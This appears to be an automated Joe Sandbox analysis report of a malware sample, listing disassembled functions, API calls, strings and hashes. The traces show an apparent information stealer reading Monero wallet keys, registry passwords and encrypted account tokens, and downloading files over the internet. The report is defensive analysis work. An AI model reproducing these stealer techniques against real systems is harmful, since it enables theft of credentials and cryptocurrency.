Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$CopyCreateDeleteFreeHandleInternetProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 330749937-218353709
Opcode ID: abcda893655a90b04141779b4bd19c893b2b251fae0970d741fe2cdded0c95bc
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: abcda893655a90b04141779b4bd19c893b2b251fae0970d741fe2cdded0c95bc
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(2F796020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(2F796020,00000000), ref: 00407018
lstrcat.KERNEL32(2F796020, : ), ref: 0040702A
lstrcat.KERNEL32(2F796020,00000000), ref: 0040705F
lstrcat.KERNEL32(2F796020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(2F796020,00000000), ref: 004070A3
lstrcat.KERNEL32(2F796020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

h0A, xrefs: 00406FA6, 00406FA9
`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2
: , xrefs: 0040701E

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: 2453e0d738309d7ae08cbfdcec7874c54eb4d677314c9daada7c9d81bc6f8872
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: 2453e0d738309d7ae08cbfdcec7874c54eb4d677314c9daada7c9d81bc6f8872
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: cd1afbb61b3c4bbf1a468e2301b6925c664f10794ceb0972ebe383d109344602
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: cd1afbb61b3c4bbf1a468e2301b6925c664f10794ceb0972ebe383d109344602
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

\, xrefs: 004141FD
C, xrefs: 004141E9
:, xrefs: 004141F9

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
CloseHandle.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 004093C3, 00409486
'@, xrefs: 00409426, 00409449, 00409429, 0040946F

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: '@$'@
API String ID: 2311089104-345573653
Opcode ID: 994909139c402eff71d8ce3d76ae8ec244a626053dddbc657200b3e02c7e146d
Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 994909139c402eff71d8ce3d76ae8ec244a626053dddbc657200b3e02c7e146d
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02DDAC60,00000000,?,0041D774,00000000,?,00000000,00000000,?,02DDAC48), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

%d MB, xrefs: 004149E0
@, xrefs: 0041498A

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,?,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
CloseHandle.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: c0fe1b28c66f25133cc791396c4bf5919088e3af51730406c0a529cf2718b242
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: c0fe1b28c66f25133cc791396c4bf5919088e3af51730406c0a529cf2718b242
Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: e30c5114668f5f653b147617f81cd90ba71500f371dd0486aaab1b186ef6f719
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: e30c5114668f5f653b147617f81cd90ba71500f371dd0486aaab1b186ef6f719
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountId, xrefs: 0040B472
AccountTokens, xrefs: 0040B319
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountTokens, xrefs: 0040B28A

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 6d0bc032168ce96018e2aff576a81e437afe5b80b5c883cb66253e0f921adef0
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: 6d0bc032168ce96018e2aff576a81e437afe5b80b5c883cb66253e0f921adef0
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,02DDAA50,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,02DDAA68,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.ADVAPI32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 61c15d44003bb9077dc54f508df7ee6453cf10b6db0080bb45a6c9b21603ab31
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 61c15d44003bb9077dc54f508df7ee6453cf10b6db0080bb45a6c9b21603ab31
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,02DDB370,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,02DDB838,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,02DDB760), ref: 00411E2B

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02DD8780,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,?), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: cba82e0bb6873436f9228475abc4ca2f3c41d908d83dc00ad0ca4a277baa4852
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: cba82e0bb6873436f9228475abc4ca2f3c41d908d83dc00ad0ca4a277baa4852
Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEBF0), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBECF8), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEE30), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEE00), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEC08), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DB6C00), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DB5F80), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DB5E00), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBED28), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEC20), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEC80), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(74DD0000,02DBEC50), ref: 0041601D
